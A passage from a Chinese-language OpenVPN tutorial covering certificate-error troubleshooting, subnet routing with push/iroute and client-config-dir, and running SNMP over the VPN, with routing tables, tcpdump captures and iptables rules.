official port number assignment by IANA.  OpenVPN 2.0-beta16 and earlier used 5000 as the default port.  Thu Apr 26 11:30:05 2007 WARNING: No server certificate verification method has been enabled.  See http://openvpn.net/howto.html#mitm for more info.  ......  Thu Apr 26 11:30:05 2007 UDPv4 link local: [undef]  Thu Apr 26 11:30:05 2007 UDPv4 link remote: 124.74.193.218:1194  Thu Apr 26 11:30:05 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_CONTROL_V1)  Thu Apr 26 11:30:05 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_CONTROL_V1)  Thu Apr 26 11:30:05 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_CONTROL_V1)  Thu Apr 26 11:30:05 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_CONTROL_V1)  Thu Apr 26 11:30:05 2007 TLS: Initial packet from 124.74.193.218:1194, sid=14632e82 c1e6bf08  Thu Apr 26 11:30:05 2007 VERIFY ERROR: depth=1, error=certificate is not yet valid: /C=CN/ST=Shanghai/L=Shanghai/O=OpenVPN-TEST/emailAddress=zhoupeng@zovatech.com  Thu Apr 26 11:30:05 2007 TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed  Thu Apr 26 11:30:05 2007 TLS Error: TLS object -> incoming plaintext read error  Thu Apr 26 11:30:05 2007 TLS Error: TLS handshake failed  Thu Apr 26 11:30:05 2007 TCP/UDP: Closing socket  Thu Apr 26 11:30:05 2007 SIGUSR1[soft,tls-error] received, process restarting  Thu Apr 26 11:30:05 2007 Restart pause, 2 second(s)  ......

    这是由于两边的 ca 不一致造成的,重新生成 CA 并对 server.crt/client.crt 进行签名 。可以对比错误和正确时的输出如下:

      Thu Apr 26 11:30:03 2007 VERIFY ERROR: depth=1, error=certificate is not yet valid: /C=CN/ST=Shanghai/L=Shanghai/O=OpenVPN-TEST/emailAddress=zhoupeng@zovatech.com  Thu Apr 26 11:30:03 2007 TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
    正确时:
      Thu Apr 26 11:56:12 2007 VERIFY OK: depth=1, /C=CN/ST=Shanghai/L=Shanghai/O=OpenVPN-TEST/OU=ShopEx/CN=vpn-ca/emailAddress=zhoupeng@zovatech.com  Thu Apr 26 11:56:12 2007 VERIFY OK: depth=0, /C=CN/ST=Shanghai/O=OpenVPN-TEST/OU=ShopEx/CN=vpn-server/emailAddress=zhoupeng@zovatech.com

    当看到Initialization Sequence Completed时,说明已经成功启动。

范例: openvpn subnet expanding

按照前面的基本配置,结合实际的情况,我们这里形成了这样一种网络连接的情况:

  (192.168.0.99)                           (192.168.1.218)    (192.168.1.219)      [eth0]<---------\                            [eth0]<---------->[eth0]      /               |                                  \                 \   host2      Client  |              \                   Server            host1              /    \  V              |                   /    \        [tun0]======[eth0]<======[FW]|==UDP=======>[eth1]======[tun0]  (192.168.1.6) |  (192.168.0.98)  | |    (124.74.193.218) |  (192.168.1.1)                |                  | /                     |                V                  V                       V             openvpn              SNAT                  openvpn

现在首要的目标是,使 Client 端的主机都能够连接 Server 端的整个 LAN Subnet, 在这里,就是要让 Client 和 host1 能够互相联通。首先必须在 Server 主机上打开 ip forward 设置

  server# echo "1" >/proc/sys/net/ipv4/ip_forward  server# vi sysctl.conf  net.ipv4.ip_forward = 1

然后做测试:

  client# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  192.168.1.5     0.0.0.0         255.255.255.255 UH        0 0          0 tun0  192.168.1.0     192.168.1.5     255.255.255.0   UG        0 0          0 tun0  192.168.0.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth0  0.0.0.0         192.168.0.1     0.0.0.0         UG        0 0          0 eth0    server# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  192.168.1.2     0.0.0.0         255.255.255.255 UH        0 0          0 tun0  124.74.193.192  0.0.0.0         255.255.255.224 U         0 0          0 eth1  192.168.1.0     192.168.1.2     255.255.255.0   UG        0 0          0 tun0  192.168.1.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth1  0.0.0.0         124.74.193.209  0.0.0.0         UG        0 0          0 eth1    client# ping 124.74.193.218  PING 124.74.193.218 (124.74.193.218) 56(84) bytes of data.  64 bytes from 124.74.193.218: icmp_seq=0 ttl=55 time=2.69 ms  64 bytes from 124.74.193.218: icmp_seq=1 ttl=55 time=7.99 ms  64 bytes from 124.74.193.218: icmp_seq=2 ttl=55 time=2.52 ms    client# ping 192.168.1.1  PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.  64 bytes from 192.168.1.1: icmp_seq=0 ttl=64 time=23.0 ms  64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=3.82 ms  64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=14.8 ms    client# ping 192.168.1.218  client# ping 192.168.1.218  PING 192.168.1.218 (192.168.1.218) 56(84) bytes of data.  64 bytes from 192.168.1.218: icmp_seq=0 ttl=64 time=3.08 ms  64 bytes from 192.168.1.218: icmp_seq=1 ttl=64 time=3.06 ms  64 bytes from 192.168.1.218: icmp_seq=2 ttl=64 time=3.30 ms    server# ping 192.168.1.6  PING 192.168.1.6 (192.168.1.6) 56(84) bytes of data.  64 bytes from 192.168.1.6: icmp_seq=0 ttl=64 time=31.8 ms  64 bytes from 192.168.1.6: icmp_seq=1 ttl=64 time=51.1 ms  64 bytes from 192.168.1.6: icmp_seq=2 ttl=64 time=45.2 ms    client# ping 192.168.1.219  PING 192.168.1.219 (192.168.1.219) 56(84) bytes of data.  --- 192.168.1.219 ping statistics ---  3 packets transmitted, 0 received, 100% packet loss, time 2014ms    server# ping 192.168.1.219  PING 192.168.1.219 (192.168.1.219) 56(84) bytes of data.  --- 192.168.1.219 ping statistics ---  3 packets transmitted, 0 received, 100% packet loss, time 2000ms    host1# ping 192.168.1.218  PING 192.168.1.218 (192.168.1.218) 56(84) bytes of data.  --- 192.168.1.218 ping statistics ---  3 packets transmitted, 0 received, 100% packet loss, time 1999ms

很显然,这时 Client 和 Host1 之间是无法联通的,而且 Server 和 Host1 之间的内网 连接也失效了--停止 openvpn,就会发现两者之间可以 ping 了。这是因为 Server 上的 路由表由问题:

  192.168.1.0     192.168.1.2     255.255.255.0   UG        0 0          0 tun0  192.168.1.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0

这里出现了重复的路由,将会发生冲突。实际上, 在 OpenVPN 中,每一个连接进来的子网都必须使用不同的网络地址,并且和 VPN 使用的网络地址不同!

OpenVPN 2.0 HOWTO

Every subnet which is joined to the VPN via routing must be unique.

于是更改 IP 地址:将 Server 和 Host1 的内网 IP 地址改为 192.168.2.218 和 192.168.2.219

  (192.168.0.99)                           (192.168.2.218)    (192.168.2.219)      [eth0]<---------\                            [eth0]<---------->[eth0]      /               |                                  \                 \   host2      Client  |              \                   Server            host1              /    \  V              |                   /    \        [tun0]======[eth0]<======[FW]|==UDP=======>[eth1]======[tun0]  (192.168.1.6) |  (192.168.0.98)  | |    (124.74.193.218) |  (192.168.1.1)                |                  | /                     |                V                  V                       V             openvpn              SNAT                  openvpn

这时候,为了让 Client 能够连接到这个内网,必须在 Client 上增加到 192.168.2.0/24 的路由,这可以通过在 Server 的 server.conf 中增加相应的配置规则来达到:

  server# vi /etc/openvpn/server.conf  push "route 192.168.2.0 255.255.255.0"

这时相应的路由变为:

  client# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  192.168.1.5     0.0.0.0         255.255.255.255 UH        0 0          0 tun0  192.168.2.0     192.168.1.5     255.255.255.0   UG        0 0          0 tun0  192.168.1.0     192.168.1.5     255.255.255.0   UG        0 0          0 tun0  192.168.0.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth0  0.0.0.0         192.168.0.1     0.0.0.0         UG        0 0          0 eth0    server# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  192.168.1.2     0.0.0.0         255.255.255.255 UH        0 0          0 tun0  124.74.193.192  0.0.0.0         255.255.255.224 U         0 0          0 eth1  192.168.2.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  192.168.1.0     192.168.1.2     255.255.255.0   UG        0 0          0 tun0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth1  0.0.0.0         124.74.193.209  0.0.0.0         UG        0 0          0 eth1

除此之外,Host1 也必须增加相应的路由:

  host1# route add -net 192.168.1.0 gw 192.168.2.218 netmask 255.255.255.0 dev eth0  host1# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  124.74.193.192  0.0.0.0         255.255.255.224 U         0 0          0 eth1  192.168.2.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  192.168.1.0     192.168.2.218   255.255.255.0   UG        0 0          0 eth0  192.168.0.0     192.168.2.218   255.255.255.0   UG        0 0          0 eth0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth1  0.0.0.0         124.74.193.209  0.0.0.0         UG        0 0          0 eth1

然后测试:

  client# ping 192.168.2.219  PING 192.168.2.219 (192.168.2.219) 56(84) bytes of data.  64 bytes from 192.168.2.219: icmp_seq=1 ttl=63 time=53.4 ms  64 bytes from 192.168.2.219: icmp_seq=2 ttl=63 time=37.6 ms  64 bytes from 192.168.2.219: icmp_seq=3 ttl=63 time=46.5 ms    --- 192.168.2.219 ping statistics ---  4 packets transmitted, 3 received, 25% packet loss, time 3009ms  rtt min/avg/max/mdev = 37.605/45.880/53.460/6.496 ms, pipe 2    server# tcpdump "icmp"  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes  14:34:12.989182 IP 192.168.1.6 > 192.168.2.219: icmp 64: echo request seq 0  14:34:12.994726 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo reply seq 0  14:34:13.995211 IP 192.168.1.6 > 192.168.2.219: icmp 64: echo request seq 1  14:34:13.995319 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo reply seq 1  14:34:14.999512 IP 192.168.1.6 > 192.168.2.219: icmp 64: echo request seq 2  14:34:14.999619 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo reply seq 2    host1# ping 192.168.1.6  PING 192.168.1.6 (192.168.1.6) 56(84) bytes of data.  64 bytes from 192.168.1.6: icmp_seq=0 ttl=63 time=207 ms  64 bytes from 192.168.1.6: icmp_seq=1 ttl=63 time=15.3 ms  64 bytes from 192.168.1.6: icmp_seq=4 ttl=63 time=11.0 ms    --- 192.168.1.6 ping statistics ---  5 packets transmitted, 3 received, 40% packet loss, time 4016ms  rtt min/avg/max/mdev = 11.031/78.045/207.719/91.710 ms, pipe 2    server# tcpdump "icmp"  14:40:33.835210 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo request seq 0  14:40:34.042772 IP 192.168.1.6 > 192.168.2.219: icmp 64: echo reply seq 0  14:40:34.843871 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo request seq 1  14:40:34.859141 IP 192.168.1.6 > 192.168.2.219: icmp 64: echo reply seq 1  14:40:35.851890 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo request seq 2  14:40:36.851905 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo request seq 3  14:40:37.851933 IP 192.168.2.219 > 192.168.1.6: icmp 64: echo request seq 4  14:40:37.862856 IP 192.168.1.6 > 192.168.2.219: icmp 64: echo reply seq 4    host1# ping 192.168.0.98  PING 192.168.0.98 (192.168.0.98) 56(84) bytes of data.  --- 192.168.0.98 ping statistics ---  3 packets transmitted, 0 received, 100% packet loss, time 2000ms

在上面的测试例子里,Client 和 Host1 之间已经能够连通,但 Client 使用的 tun0 192.168.1.6 这个接口,而 Host1 无法 ping Client eth0 192.168.0.98 这个 接口,这是为什么?

首先排除路由的可能:

  host1# route add -net 192.168.0.0 gw 192.168.2.218 netmask 255.255.255.0 dev eth0  host1# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  124.74.193.192  0.0.0.0         255.255.255.224 U         0 0          0 eth1  192.168.2.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  192.168.1.0     192.168.2.218   255.255.255.0   UG        0 0          0 eth0  192.168.0.0     192.168.2.218   255.255.255.0   UG        0 0          0 eth0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth1  0.0.0.0         124.74.193.209  0.0.0.0         UG        0 0          0 eth1    server# route add -net 192.168.0.0 gw 192.168.1.2 netmask 255.255.255.0 dev tun0  server# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  192.168.1.2     0.0.0.0         255.255.255.255 UH        0 0          0 tun0  124.74.193.192  0.0.0.0         255.255.255.224 U         0 0          0 eth1  192.168.2.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  192.168.1.0     192.168.1.2     255.255.255.0   UG        0 0          0 tun0  192.168.0.0     192.168.1.2     255.255.255.0   UG        0 0          0 tun0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth1  0.0.0.0         124.74.193.209  0.0.0.0         UG        0 0          0 eth1

会不会是防火墙的 NAT 设置的影响?尤其是当从 Host1 向 Client 的 subnet ping 的 时候,会不会是 Client 端的 DNAT 规则没有而导致无法连接的?

事实上完全不是!这和 OpenVPN 的原理有关。前面已经说过,Client 是没有监听 UDP 端口的,只有 Server Listen UDP PORT 1194,那么 Host1 到 Client 的报文是怎么走 的呢?这是由 Client 上的 openvpn client 周期性的给 openvpn server 发送 UDP 报文 ,通过 server 的回复来取得封装的数据,相当于 client 周期性的从 server 上 pull 数据,如果其中包含 Server subnet 的报文封装,就可以进行实际的处理。

可以利用嗅探器来验证这一点。不运行其他任何连接的程序,在 Server 和 Client 上运行:

  client# tcpdump -n "udp port 1194"  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes  15:09:25.737033 IP 192.168.0.98.33373 > 124.74.193.218.1194: UDP, length 53  15:09:25.767840 IP 124.74.193.218.1194 > 192.168.0.98.33373: UDP, length 53  15:09:35.945792 IP 192.168.0.98.33373 > 124.74.193.218.1194: UDP, length 53  15:09:35.986172 IP 124.74.193.218.1194 > 192.168.0.98.33373: UDP, length 53  15:09:45.054535 IP 192.168.0.98.33373 > 124.74.193.218.1194: UDP, length 53  15:09:46.279112 IP 124.74.193.218.1194 > 192.168.0.98.33373: UDP, length 53  15:09:55.375430 IP 192.168.0.98.33373 > 124.74.193.218.1194: UDP, length 53  15:09:56.445581 IP 124.74.193.218.1194 > 192.168.0.98.33373: UDP, length 53  15:10:05.760096 IP 192.168.0.98.33373 > 124.74.193.218.1194: UDP, length 53  15:10:05.800843 IP 124.74.193.218.1194 > 192.168.0.98.33373: UDP, length 53    server# tcpdump -i eth1 "udp port 1194"  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes  15:09:22.101777 IP 124.74.193.218.1194 > 218.80.208.72.33373: UDP, length 53  15:09:22.112768 IP 218.80.208.72.33373 > 124.74.193.218.1194: UDP, length 53  15:09:32.321059 IP 218.80.208.72.33373 > 124.74.193.218.1194: UDP, length 53  15:09:32.321300 IP 124.74.193.218.1194 > 218.80.208.72.33373: UDP, length 53  15:09:41.430277 IP 218.80.208.72.33373 > 124.74.193.218.1194: UDP, length 53  15:09:42.637733 IP 124.74.193.218.1194 > 218.80.208.72.33373: UDP, length 53  15:09:51.750749 IP 218.80.208.72.33373 > 124.74.193.218.1194: UDP, length 53  15:09:52.781732 IP 124.74.193.218.1194 > 218.80.208.72.33373: UDP, length 53  15:10:02.134944 IP 218.80.208.72.33373 > 124.74.193.218.1194: UDP, length 53  15:10:02.135142 IP 124.74.193.218.1194 > 218.80.208.72.33373: UDP, length 53  15:10:12.188029 IP 218.80.208.72.33373 > 124.74.193.218.1194: UDP, length 53  15:10:12.188236 IP 124.74.193.218.1194 > 218.80.208.72.33373: UDP, length 53

可以看到,周期间隔大约为 10s(但是当你实际 ping 的时候,不论方向如何,间隔就和 ping 的间隔一样为 1s 了!)。根据这个道理,报文总是由 Client 端发出,所以防火墙 实际上不会有任何影响,不可能是 DNAT 的问题。

那么看一下 Server 和 Client 上的报文:

  server# tcpdump "icmp"  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes  15:14:32.261075 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 28  15:14:33.261059 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 29  15:14:34.261084 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 30  15:14:35.261106 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 31  15:14:36.261132 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 32  15:14:37.261155 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 33  15:14:38.261184 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 34  15:14:39.261204 IP 192.168.2.219 > 192.168.0.98: icmp 64: echo request seq 35    8 packets captured  8 packets received by filter  0 packets dropped by kernel    client# tcpdump "icmp"  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes    0 packets captured  0 packets received by filter  0 packets dropped by kernel    client# tcpdump -i tun0 "icmp"  tcpdump: WARNING: arptype 65534 not supported by libpcap - falling back to cooked socket  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on tun0, link-type LINUX_SLL (Linux cooked), capture size 96 bytes    0 packets captured  0 packets received by filter  0 packets dropped by kernel

可见在 client 上没有任何报文。那么原因何在呢?

这实际上还是在配置的问题上,在 OpenVPN HOWTO 上,介绍了在 Client 端配置 subnet 的过程。如下:

  server# vi /etc/openvpn/server.conf  client-config-dir /etc/openvpn/ccd  route 192.168.0.0 255.255.255.0  server# mkdir /etc/openvpn/ccd  server# vi /etc/openvpn/ccd/client1  iroute 192.168.0.0 255.255.255.0

这里 route 参数是用来在 Linux 内核中增加静态路由的,就是前面使用 netstat -rn 显示和使用 route 命令增加的内容,而 iroute 是用来控制 OpenVPN server 中的路由的。

然后再按照前面的方法测试,在 Host1 上 ping Client 端的 subnet:host1# ping 192.168.0.98。 结果还是不能 ping 通。这是由于 /etc/openvpn/ccd/ 下的每个文件都是针对每个 Client 端的,而文件名必须是 Common Name,这个 Common Name 就是在创建 Client 的密钥和证书时使用的!可以在 Server 的 keys/index.txt 中看到:

  server# cat /etc/openvpn/keys/index.txt  V       170423050429Z           01      unknown /C=CN/ST=Shanghai/O=OpenVPN-TEST/CN=vpn-server/emailAddress=zhoupeng@zovatech.com  V       170423050457Z           02      unknown /C=CN/ST=Shanghai/O=OpenVPN-TEST/CN=vpn-client1/emailAddress=zhoupeng@zovatech.com

所以这里的文件名必须是 /etc/openvpn/ccd/vpn-client1。按照这种方式,就可以从 Host1 ping Client subnet 了。当然,在 Server 本身也应该是可以 ping 通的:

  server# ping 192.168.0.98  PING 192.168.0.98 (192.168.0.98) 56(84) bytes of data.  64 bytes from 192.168.0.98: icmp_seq=0 ttl=64 time=50.6 ms  64 bytes from 192.168.0.98: icmp_seq=1 ttl=64 time=40.9 ms  64 bytes from 192.168.0.98: icmp_seq=2 ttl=64 time=18.8 ms  64 bytes from 192.168.0.98: icmp_seq=3 ttl=64 time=41.6 ms    --- 192.168.0.98 ping statistics ---  4 packets transmitted, 4 received, 0% packet loss, time 3024ms  rtt min/avg/max/mdev = 18.802/38.013/50.650/11.735 ms, pipe 2

当然,为了使 Client 端的其他主机也能够正常连接到 VPN,必须打开 Client 的 ip_forward,并且在其他主机上增加正确的路由:

  client# echo "1" >/proc/sys/net/ipv4/ip_forward  host2# route add -net 192.168.1.0 gw 192.168.0.98 netmask 255.255.255.0 dev eth0  host2# route add -net 192.168.2.0 gw 192.168.0.98 netmask 255.255.255.0 dev eth0

可以把 host2 的路由加入到静态路由表中,这样每次启动 network service 的时候可以 自动加入路由:

  host2# cat /etc/sysconfig/static-routes  any net 192.168.1.0 gw 192.168.0.98 netmask 255.255.255.0 dev eth0  any net 192.168.2.0 gw 192.168.0.98 netmask 255.255.255.0 dev eth0

要加入 any。可以参看 /etc/rc.d/init.d/network 脚本中关于 route 的内容就知道了。

实例:设定 SNMP 通过 VPN 线路传输数据

SNMP v2 通过明文传送数据,因此可能存在安全隐患;而 Cacti 对 SNMP v3 的支持不好 ,所以不大可能利用 SNMP v3 的 TSL 特性。这时,一个可供考虑的办法是利用 VPN 线路 来提供加密传输。

按前述之法配置一个如下的网络:

  (192.168.0.220)  (192.168.0.211)            (192.168.1.1)      [eth0]<------>[eth0]                         [eth0]      /            /  |                                  \     host2      Client  |                                  Server               /    \  V                                  /    \        [tun0]======[eth1]<==========UDP==========>[eth1]======[tun0]  (192.168.128.6) | (124.74.193.211)        (210.14.65.69) |  (192.168.128.1)                  |                                        |                  V                                        V               openvpn                                  openvpn

在调试阶段,建议先关闭防火墙,否则在出现问题的时候,不利于进行排除判断。

这里,设定 Server 为 SNMP 被控端,因此 snmpd 会监听在其 UDP 161 port 上。然后 首先判断 net-snmp 的 access 规则:

  server# cat /etc/snmp/snmpd.conf  com2sec mynet    192.168.0.0/24      process-mon  # com2sec mynet    192.168.128.0/24    process-mon  com2sec mynet    124.74.193.211/32   process-mon    client tty2# tcpdump -i tun0 "port 161"  tcpdump: WARNING: arptype 65534 not supported by libpcap - falling back to cooked socket  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on tun0, link-type LINUX_SLL (Linux cooked), capture size 96 bytes  14:38:11.354581 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:38:12.358415 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:38:13.362455 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:38:14.362570 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:38:15.366601 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:38:16.366699 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1    client tty1# snmpwalk -v2c -c process-mon 192.168.1.1 .1.3.6.1.4.1.2021.2.1.1  Timeout: No Response from 192.168.1.1    server tty2# tcpdump -i tun0 "port 161"  tcpdump: WARNING: arptype 65534 not supported by libpcap - falling back to cooked socket  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on tun0, link-type LINUX_SLL (Linux cooked), capture size 96 bytes  14:39:45.928133 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:39:46.932084 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:39:47.935903 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:39:48.936092 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:39:49.940283 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:39:50.940211 IP 192.168.128.6.38417 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1

可见 client 默认是使用的 192.168.128.6 这个 interface,所以如果使用 client 作为 控制端,则必须打开 server 的:

  server# cat /etc/snmp/snmpd.conf  com2sec mynet    192.168.128.0/24    process-mon    client tty2# tcpdump -i tun0 "port 161"  14:42:07.763127 IP 192.168.128.1.snmp > 192.168.128.6.38569:  C=process-mon GetResponse(32)  E:2021.2.1.1.1=1  14:42:07.763542 IP 192.168.128.6.38569 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.1  14:42:07.766665 IP 192.168.128.1.snmp > 192.168.128.6.38569:  C=process-mon GetResponse(32)  E:2021.2.1.1.2=2  14:42:07.766782 IP 192.168.128.6.38569 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.2  14:42:07.768642 IP 192.168.128.1.snmp > 192.168.128.6.38569:  C=process-mon GetResponse(32)  E:2021.2.1.2.1="v"    client tty1# snmpwalk -v2c -c process-mon 192.168.1.1 .1.3.6.1.4.1.2021.2.1.1  UCD-SNMP-MIB::prIndex.1 = INTEGER: 1  UCD-SNMP-MIB::prIndex.2 = INTEGER: 2    server tty2# tcpdump -i tun0 "port 161"  14:43:42.333480 IP 192.168.128.1.snmp > 192.168.128.6.38569:  C=process-mon GetResponse(32)  E:2021.2.1.1.1=1  14:43:42.335871 IP 192.168.128.6.38569 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.1  14:43:42.336073 IP 192.168.128.1.snmp > 192.168.128.6.38569:  C=process-mon GetResponse(32)  E:2021.2.1.1.2=2  14:43:42.339053 IP 192.168.128.6.38569 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.2  14:43:42.339184 IP 192.168.128.1.snmp > 192.168.128.6.38569:  C=process-mon GetResponse(32)  E:2021.2.1.2.1="v"

如果是在 host2 上面来做,则是如下的情形:

  client tty2# tcpdump -i tun0 "port 161"  14:46:16.823326 IP 192.168.0.220.32854 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:46:16.825661 IP 192.168.128.1.snmp > 192.168.0.220.32854:  C=process-mon GetResponse(32)  E:2021.2.1.1.1=1  14:46:16.826001 IP 192.168.0.220.32854 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.1  14:46:16.827987 IP 192.168.128.1.snmp > 192.168.0.220.32854:  C=process-mon GetResponse(32)  E:2021.2.1.1.2=2  14:46:16.828185 IP 192.168.0.220.32854 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.2  14:46:16.829964 IP 192.168.128.1.snmp > 192.168.0.220.32854:  C=process-mon GetResponse(32)  E:2021.2.1.2.1="v"    host2# snmpwalk -v2c -c process-mon 192.168.1.1 .1.3.6.1.4.1.2021.2.1.1  UCD-SNMP-MIB::prIndex.1 = INTEGER: 1  UCD-SNMP-MIB::prIndex.2 = INTEGER: 2    server tty2# tcpdump -i tun0 "port 161"  14:47:51.394671 IP 192.168.0.220.32854 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(30)  E:2021.2.1.1  14:47:51.394971 IP 192.168.128.1.snmp > 192.168.0.220.32854:  C=process-mon GetResponse(32)  E:2021.2.1.1.1=1  14:47:51.397104 IP 192.168.0.220.32854 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.1  14:47:51.397245 IP 192.168.128.1.snmp > 192.168.0.220.32854:  C=process-mon GetResponse(32)  E:2021.2.1.1.2=2  14:47:51.399187 IP 192.168.0.220.32854 > 192.168.1.1.snmp:  C=process-mon GetNextRequest(31)  E:2021.2.1.1.2  14:47:51.399334 IP 192.168.128.1.snmp > 192.168.0.220.32854:  C=process-mon GetResponse(32)  E:2021.2.1.2.1="v"

这次使用的就是 192.168.0.0/24 网段的地址了,但是回复的报文却是 192.168.128.1?

接着打开 Server 端的防火墙:

  server# cat /etc/sysconfig/iptables  # Firewall configuration written by system-config-securitylevel  # Manual customization of this file is not recommended.  *filter  :INPUT ACCEPT [0:0]  :FORWARD ACCEPT [0:0]  :OUTPUT ACCEPT [0:0]  :RH-Firewall-1-INPUT - [0:0]  -A INPUT -j RH-Firewall-1-INPUT  # -A FORWARD -i tun0 -j ACCEPT  -A FORWARD -j RH-Firewall-1-INPUT  -A RH-Firewall-1-INPUT -i lo -j ACCEPT  # -A RH-Firewall-1-INPUT -i tun0 -j ACCEPT                   # (1)  # -A RH-Firewall-1-INPUT -s 192.168.128.0/24 -j ACCEPT       # (2)  # -A RH-Firewall-1-INPUT -s 192.168.0.0/24 -j ACCEPT         # (3)  # -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT   # (4)  ......  -A RH-Firewall-1-INPUT -p udp -s 124.74.193.211 --dport 161 -j ACCEPT  -A RH-Firewall-1-INPUT -p udp -s 192.168.0.0/24 --dport 161 -j ACCEPT  -A RH-Firewall-1-INPUT -p udp -s 124.74.193.211 --dport 1194 -j ACCEPT  -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT  ......  -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited  COMMIT    client# ping 192.168.1.1  PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.  From 192.168.1.1 icmp_seq=0 Dest Unreachable, Bad Code: 10  From 192.168.1.1 icmp_seq=1 Dest Unreachable, Bad Code: 10  From 192.168.1.1 icmp_seq=2 Dest Unreachable, Bad Code: 10  From 192.168.1.1 icmp_seq=3 Dest Unreachable, Bad Code: 10    --- 192.168.1.1 ping statistics ---  4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3012ms  , 